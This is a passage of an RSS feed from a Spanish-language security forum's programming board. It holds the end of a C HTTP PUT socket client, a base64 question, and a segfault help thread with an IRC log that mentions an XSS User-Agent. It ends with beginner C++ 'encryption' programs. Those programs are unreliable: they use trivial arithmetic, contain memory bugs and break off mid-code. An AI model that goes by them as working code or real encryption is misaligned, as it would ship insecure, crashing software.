<span class="kw3">printf</span> <span class="br0">&#40;</span><span class="st0">&quot;[*]Result:&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
send <span class="br0">&#40;</span>s1, put.<span class="me1">contenido</span> , <span class="kw3">sizeof</span><span class="br0">&#40;</span>put.<span class="me1">contenido</span><span class="br0">&#41;</span>, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
send <span class="br0">&#40;</span>s1, http.<span class="me1">accept</span>, <span class="kw3">strlen</span><span class="br0">&#40;</span>http.<span class="me1">accept</span><span class="br0">&#41;</span>, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
send <span class="br0">&#40;</span>s1, <span class="st0">&quot;<span class="es1">\r</span><span class="es1">\n</span><span class="es1">\r</span><span class="es1">\n</span>&quot;</span>, <span class="nu0">4</span>, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
    <span class="kw1">do</span>
    <span class="br0">&#123;</span>
        bzero<span class="br0">&#40;</span>buffer, <span class="kw3">sizeof</span><span class="br0">&#40;</span>buffer<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
        bytes_read <span class="sy1">=</span> recv<span class="br0">&#40;</span>s1, buffer, <span class="kw3">sizeof</span><span class="br0">&#40;</span>buffer<span class="br0">&#41;</span>, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
        <span class="kw1">if</span> <span class="br0">&#40;</span> bytes_read <span class="sy1">&gt;</span> <span class="nu0">0</span> <span class="br0">&#41;</span>
            <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>, buffer<span class="br0">&#41;</span><span class="sy4">;</span>
    <span class="br0">&#125;</span>
    <span class="kw1">while</span> <span class="br0">&#40;</span> bytes_read <span class="sy1">&gt;</span> <span class="nu0">0</span> <span class="br0">&#41;</span><span class="sy4">;</span>
    <span class="kw3">printf</span> <span class="br0">&#40;</span><span class="st0">&quot;[+]Finish<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
close <span class="br0">&#40;</span>s1<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw1">return</span> <span class="nu0">0</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Wed, 01 Sep 2010 10:43:33 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7838,7838#msg-7838</guid>
<title>C++ Base 64 [lib] (1 reply)</title><link>https://foro.undersecurity.net/read.php?19,7838,7838#msg-7838</link><description><![CDATA[Jalow -&gt; Como dice <b>OzX</b><br /><br />Bueno , ando buscando librerias para base64 en c++ , asi como lo tiene php , perl (no lo se aún , pero creo que si xD) , java , ...<br />En fin , ¿c++ tiene un lib para las base 64?.<br /><br />Mi idea es transformar un string a hex el resultado a -&gt; base64 y ahi devolver el resultado alrevez (no es totalmente mi idea me ayudo un pibito ;) )<br /><br />Bueno si lo hay que felicidad si no lo hay , hay que hacerlo manualmente (?<br />CHAN!<br /><br /><b>S4lut3z</b>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Sun, 15 Aug 2010 14:33:59 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7811,7811#msg-7811</guid>
<title>Problemas al codificar / decodificar stings... (4 replies)</title><link>https://foro.undersecurity.net/read.php?19,7811,7811#msg-7811</link><description><![CDATA[<pre class="cpp bbcode_geshi"><div class="head">Language: C++</div><span class="co2">#include &lt;iostream&gt;</span>
<span class="co2">#include &lt;string.h&gt;</span>
<span class="kw2">using</span> <span class="kw2">namespace</span> std<span class="sy4">;</span>
<span class="kw4">int</span> codificar <span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">int</span> codificarstring <span class="br0">&#40;</span><span class="kw4">char</span> <span class="sy2">*</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">int</span> descodificar <span class="br0">&#40;</span><span class="kw4">int</span> <span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">int</span> descodificarstring <span class="br0">&#40;</span><span class="kw4">int</span>  <span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">int</span> main <span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> start<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;1)String or 2)numers&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> start<span class="sy4">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>start <span class="sy1">==</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">char</span> <span class="sy2">*</span>letras<span class="sy4">;</span>	
	<span class="kw4">int</span> optition<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;1)Codificar o 2)Descodificar &quot;</span><span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> optition<span class="sy4">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>optition <span class="sy1">==</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingresa la palabra&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> letras<span class="sy4">;</span>
	<span class="kw4">int</span> usa<span class="sy1">=</span>codificarstring<span class="br0">&#40;</span>letras<span class="br0">&#41;</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Codificado: &quot;</span> <span class="sy1">&lt;&lt;</span> usa <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
&nbsp;
&nbsp;
	<span class="br0">&#125;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>optition <span class="sy1">==</span><span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
		<span class="kw4">int</span> lesint<span class="sy4">;</span>
		<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese el numero para ser descodificado: &quot;</span><span class="sy4">;</span>
		<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> lesint<span class="sy4">;</span>
		<span class="kw4">int</span> as<span class="sy1">=</span>descodificarstring<span class="br0">&#40;</span>lesint<span class="br0">&#41;</span><span class="sy4">;</span>
		<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Valor en Integer [&quot;</span><span class="sy1">&lt;&lt;</span> as  <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;]&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
		<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Valor en Char [&quot;</span> <span class="sy1">&lt;&lt;</span> <span class="br0">&#40;</span><span class="kw4">char</span><span class="br0">&#41;</span>as <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;]&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="br0">&#125;</span><span class="br0">&#125;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>start <span class="sy1">==</span> <span class="nu0">2</span> <span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> n , x , option , res , res2<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;1.Codificar&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;2.Descodificar&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> option<span class="sy4">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>option <span class="sy1">==</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese un numero para ser codificado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> n<span class="sy4">;</span>
	res <span class="sy1">=</span> codificar<span class="br0">&#40;</span>n<span class="br0">&#41;</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Codificado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> res <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span><span class="br0">&#125;</span>
	<span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span>option <span class="sy1">==</span> <span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese un numero para ser descodificado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> x<span class="sy4">;</span>
	res2 <span class="sy1">=</span> descodificar<span class="br0">&#40;</span>x<span class="br0">&#41;</span><span class="sy4">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>res2<span class="br0">&#41;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Descodificado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> res2 <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="br0">&#125;</span>
	<span class="kw1">else</span> <span class="br0">&#123;</span>
		<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Opcion Inexistente&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="br0">&#125;</span><span class="br0">&#125;</span>
<span class="br0">&#125;</span>
<span class="kw4">int</span> codificar <span class="br0">&#40;</span><span class="kw4">int</span> n<span class="br0">&#41;</span><span class="br0">&#123;</span>
	n <span class="sy1">=</span> n <span class="sy2">*</span> <span class="nu0">8</span><span class="sy4">;</span>
	n <span class="sy1">=</span> n <span class="sy2">*</span> <span class="nu0">2</span><span class="sy4">;</span>
	<span class="kw1">return</span> <span class="br0">&#40;</span>n<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
<span class="kw4">int</span> descodificar <span class="br0">&#40;</span><span class="kw4">int</span> x<span class="br0">&#41;</span><span class="br0">&#123;</span>
	x <span class="sy1">=</span> x <span class="sy2">/</span> <span class="nu0">8</span><span class="sy4">;</span>
	x <span class="sy1">=</span> x <span class="sy2">/</span> <span class="nu0">2</span><span class="sy4">;</span>
	<span class="kw1">return</span> <span class="br0">&#40;</span>x<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
<span class="kw4">int</span> codificarstring <span class="br0">&#40;</span><span class="kw4">char</span> <span class="sy2">*</span>letras<span class="br0">&#41;</span><span class="br0">&#123;</span>
<span class="kw4">int</span> resultx<span class="sy4">;</span>
<span class="kw4">int</span> asd<span class="sy4">;</span>
<span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">int</span> sd<span class="sy1">=</span><span class="nu0">0</span><span class="sy4">;</span> sd<span class="sy1">&lt;</span><span class="kw3">strlen</span><span class="br0">&#40;</span>letras<span class="br0">&#41;</span><span class="sy4">;</span> sd<span class="sy2">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
asd <span class="sy1">=</span> <span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>letras<span class="br0">&#91;</span>sd<span class="sy2">++</span><span class="br0">&#93;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
resultx <span class="sy1">=</span> asd <span class="sy2">*</span> <span class="nu0">8</span><span class="sy4">;</span>
resultx <span class="sy1">=</span> asd <span class="sy2">*</span> <span class="nu0">2</span><span class="sy4">;</span>
<span class="kw1">return</span> resultx<span class="sy4">;</span>
<span class="br0">&#125;</span>
<span class="kw4">int</span> descodificarstring <span class="br0">&#40;</span><span class="kw4">int</span> lesint<span class="br0">&#41;</span><span class="br0">&#123;</span>
	lesint <span class="sy1">=</span> lesint <span class="sy2">/</span> <span class="nu0">8</span><span class="sy4">;</span>
	lesint <span class="sy1">=</span> lesint <span class="sy2">/</span> <span class="nu0">2</span><span class="sy4">;</span>
	<span class="kw1">return</span> lesint<span class="sy4">;</span>
<span class="br0">&#125;</span></pre><br />Explicacion del error:<br /><pre class="bbcode">&lt;ix0&gt; Hi all
&lt;ix0&gt; estoy programando mi propio codificador pero la cosa es me salta segmetation fault 
&lt;ix0&gt; porque no puede reescribir la memoria y nose que puede ser ya busque por todas partes
&lt;ix0&gt; OzX , seth , Yoya , osu dan una mano ?
&lt;ix0&gt; http://codepad.org/L9ChehER
&lt;ix0&gt; lo programe yo solapa
&lt;Yoya&gt; OzX que le hiciste a la web
&lt;ix0&gt; aqui susede segmetation fault
&lt;ix0&gt; for (int x=0; x &lt; strlen(letras); x++){
&lt;ix0&gt;  resultx = (int)letras[x];
&lt;ix0&gt; }
&lt;ix0&gt; Yoya  help ?
&lt;OzX&gt; Yoya, porque?
&lt;Yoya&gt; me redirecciona a google cuando intento entrar
&lt;Yoya&gt; aaa ya OzX 
&lt;Yoya&gt; tenia un UserAgent para provocar XSS
&lt;ix0&gt; Yoya ayudas?
&lt;Yoya&gt; no
&lt;ix0&gt; gracias 
&lt;OzX&gt; ¬¬
&lt;OzX&gt; XD¡
&lt;ix0&gt; OzX you help me ?
&lt;OzX&gt; q paso?
&lt;ix0&gt; lee mas arriba
&lt;ix0&gt; &lt;ix0&gt; Hi all
&lt;ix0&gt; &lt;ix0&gt; estoy programando mi propio codificador pero la cosa es me salta segmetation fault 
&lt;ix0&gt; &lt;ix0&gt; porque no puede reescribir la memoria y nose que puede ser ya busque por todas partes
&lt;ix0&gt; &lt;ix0&gt; OzX , seth , Yoya , osu dan una mano ?
&lt;ix0&gt; &lt;ix0&gt; http://codepad.org/L9ChehER
&lt;OzX&gt; no tengo idea de C
&lt;OzX&gt; php nada mas
&lt;OzX&gt; esos son mis laureles
&lt;ix0&gt; pero capaz se asemejan
&lt;ix0&gt; en el error
&lt;ix0&gt; fijate te explico la linea
&lt;ix0&gt; for (int x=0; x &lt; strlen(letras); x++){
&lt;ix0&gt;  resultx = (int)letras[x];
&lt;ix0&gt; }
&lt;OzX&gt; resultx .= (int)letras[x];
&lt;ix0&gt; lo que hago es guardar X veces 
&lt;OzX&gt; no deveria ser asi?
&lt;OzX&gt; o
&lt;OzX&gt; resultx[] = (int)letras[x];
&lt;ix0&gt; entonces la variable
&lt;OzX&gt; no solo guardaras
&lt;OzX&gt; la ultima vez
&lt;OzX&gt; nada mas
&lt;OzX&gt; pork cada vueltas le vuelves a asignar el ultimo valor
&lt;OzX&gt; tiene q concatener
&lt;OzX&gt; o en arrays
&lt;OzX&gt; o en la misma linea
&lt;OzX&gt; con
&lt;OzX&gt; .=
&lt;OzX&gt; o con array
&lt;OzX&gt; cn
&lt;OzX&gt; $var[] = &quot;algo&quot;
&lt;ix0&gt; lo que quiero hacer es que result me tome el valor de ese pero quiero que me tome el valor final porque lo que hace es recargar la variable cada vez que 
&lt;ix0&gt; recomienza el bucle
&lt;OzX&gt; si deseas tomar el ultimo valor
&lt;OzX&gt; de ese bucle
&lt;OzX&gt; entonces
&lt;ix0&gt; quiero tomar el valor total
&lt;OzX&gt; resultx = (int)letras[strlen(letras)];
&lt;ix0&gt; si , voy a probarlo gracias
&lt;OzX&gt; resultx = (int)letras[x] + resultx;
&lt;OzX&gt; pero primeros inicializas el resultx = 0, u alguna webada q indentifike que sea int
&lt;ix0&gt; pero claro , yo utilizo el for para ir bajando los valores 
&lt;ix0&gt; si no utilizo for
&lt;ix0&gt; solamente bajará el 1ero
&lt;OzX&gt; $total = strlen(letras); for (int x=0; x &lt; $total; x++){
&lt;OzX&gt; mejor ocupa una variable
&lt;OzX&gt; porque por cada vuelta, estas gastando memoria
&lt;ix0&gt; claro
&lt;OzX&gt; osea cada vuelta esta leyendo el largo de las palabras.
&lt;OzX&gt; mejor la declaras 1 sola vez.
&lt;ix0&gt; eso , en eso
&lt;ix0&gt; porque si la hago muchas veces me salta
&lt;ix0&gt; segment 
&lt;ix0&gt; ese
&lt;ix0&gt; segmetation fault 
&lt;OzX&gt; si la letra es muy larga
&lt;OzX&gt; se te ira al carajo
&lt;OzX&gt; declaralo una sola vez
&lt;ix0&gt; si eso estuve pensando por eso mismo
&lt;OzX&gt; si tiene una letra de 100 de largo, vas a hacer 100x100
&lt;ix0&gt; si le pongo 100 de largo directamente me salta
&lt;ix0&gt; segmetation fault 
&lt;ix0&gt; osiunder@10:~/c++$ ./imlauercodef
&lt;ix0&gt; 1)String or 2)numers
&lt;ix0&gt; 1
&lt;ix0&gt; 1)Codificar o 2)Descodificar 1
&lt;ix0&gt; Ingresa la palabra
&lt;ix0&gt; e
&lt;ix0&gt; Segmentation fault
&lt;OzX&gt; alguna declaracion rara estas haciendo
&lt;ix0&gt; OzX miralo http://codepad.org/jfsvHDFn con la actualizacion que hice pero igual
&lt;ix0&gt; http://codepad.org/jfsvHDFn
&lt;ix0&gt; sige el * bug
&lt;OzX&gt; :S
&lt;OzX&gt; ni idea bro
&lt;OzX&gt; tengo q pirar
&lt;OzX&gt; ia vuelvo
&lt;OzX&gt; postealo en el foro</pre>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Fri, 13 Aug 2010 09:15:57 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7774,7774#msg-7774</guid>
<title>Decode / Encript -&gt; Al metodo de OSI =P (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7774,7774#msg-7774</link><description><![CDATA[<pre class="cpp bbcode_geshi"><div class="head">Language: C++</div><span class="co2">#include &lt;iostream&gt;</span>
<span class="kw2">using</span> <span class="kw2">namespace</span> std<span class="sy4">;</span>
<span class="kw4">int</span> main <span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#############&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#Code-Decode#&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#~By Osi    #&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#############&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw4">int</span> option<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;1. Encriptar&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;2. Desencriptar&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> option<span class="sy4">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>option <span class="sy1">==</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> cifrado<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese un numero para ser encriptado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> cifrado<span class="sy4">;</span>
	<span class="kw4">int</span> codef <span class="sy1">=</span> <span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>cifrado <span class="sy2">+</span> <span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>cifrado<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Encriptado: &quot;</span><span class="sy1">&lt;&lt;</span>codef <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw4">int</span> x <span class="sy1">=</span> codef<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Desencriptado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="kw4">int</span><span class="br0">&#40;</span>x <span class="sy2">-</span> cifrado<span class="br0">&#41;</span>  <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span><span class="br0">&#125;</span>
	<span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span>option <span class="sy1">==</span> <span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> descifrado<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese un numero para ser desencriptado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> descifrado<span class="sy4">;</span>
	<span class="kw4">int</span> decodef <span class="sy1">=</span> <span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>descifrado <span class="sy2">/</span> <span class="nu0">2</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Desencriptado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> decodef <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="br0">&#125;</span>
&nbsp;
<span class="br0">&#125;</span></pre><br />Ya po alguien tire ideas para hacer el desencriptado , no funciona bien , y creo que ya saben porque es ,<br />hice todos los calculos en una hoja pero no logro hacer el descodificado pero algun dia lo lograré =)<br /><br />Este funciona perfecto =P:<br /><pre class="cpp bbcode_geshi"><div class="head">Language: C++</div><span class="co2">#include &lt;iostream&gt;</span>
<span class="kw2">using</span> <span class="kw2">namespace</span> std<span class="sy4">;</span>
<span class="kw4">int</span> main <span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#############&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#Code-Decode#&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#~By Osi    #&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#############&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw4">int</span> option<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;1. Encriptar&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;2. Desencriptar&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> option<span class="sy4">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>option <span class="sy1">==</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> cifrado<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese un numero para ser encriptado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> cifrado<span class="sy4">;</span>
	<span class="kw4">int</span> codef <span class="sy1">=</span> <span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>cifrado <span class="sy2">*</span> <span class="nu0">2</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Encriptado: &quot;</span><span class="sy1">&lt;&lt;</span>codef <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw4">int</span> x <span class="sy1">=</span> codef<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Desencriptado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="kw4">int</span><span class="br0">&#40;</span>x <span class="sy2">-</span> cifrado<span class="br0">&#41;</span>  <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span><span class="br0">&#125;</span>
	<span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span>option <span class="sy1">==</span> <span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> descifrado<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese un numero para ser desencriptado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> descifrado<span class="sy4">;</span>
	<span class="kw4">int</span> decodef <span class="sy1">=</span> <span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>descifrado <span class="sy2">/</span> <span class="nu0">2</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Desencriptado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> decodef <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="br0">&#125;</span>
	<span class="kw1">else</span> <span class="br0">&#123;</span>
		<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Opcion Inexistente&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="br0">&#125;</span>
&nbsp;
<span class="br0">&#125;</span></pre><br />V2 (?<br /><pre class="cpp bbcode_geshi"><div class="head">Language: C++</div><span class="co2">#include &lt;iostream&gt;</span>
<span class="kw2">using</span> <span class="kw2">namespace</span> std<span class="sy4">;</span>
<span class="kw4">int</span> maxsize<span class="sy1">=</span><span class="nu0">8</span><span class="sy4">;</span>
<span class="kw4">int</span> main <span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#############&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#Code-Decode#&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#~By Osi    #&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;#############&quot;</span><span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw4">int</span> option<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;1. Encriptar&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;2. Desencriptar&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> option<span class="sy4">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>option <span class="sy1">==</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> cifrado<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese un numero para ser encriptado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> cifrado<span class="sy4">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>cifrado <span class="sy1">&lt;=</span> <span class="nu0">95423154</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> codef <span class="sy1">=</span> <span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>cifrado <span class="sy2">*</span> <span class="nu0">23</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Encriptado: &quot;</span><span class="sy1">&lt;&lt;</span>codef <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw4">int</span> x <span class="sy1">=</span> codef<span class="sy4">;</span><span class="br0">&#125;</span>
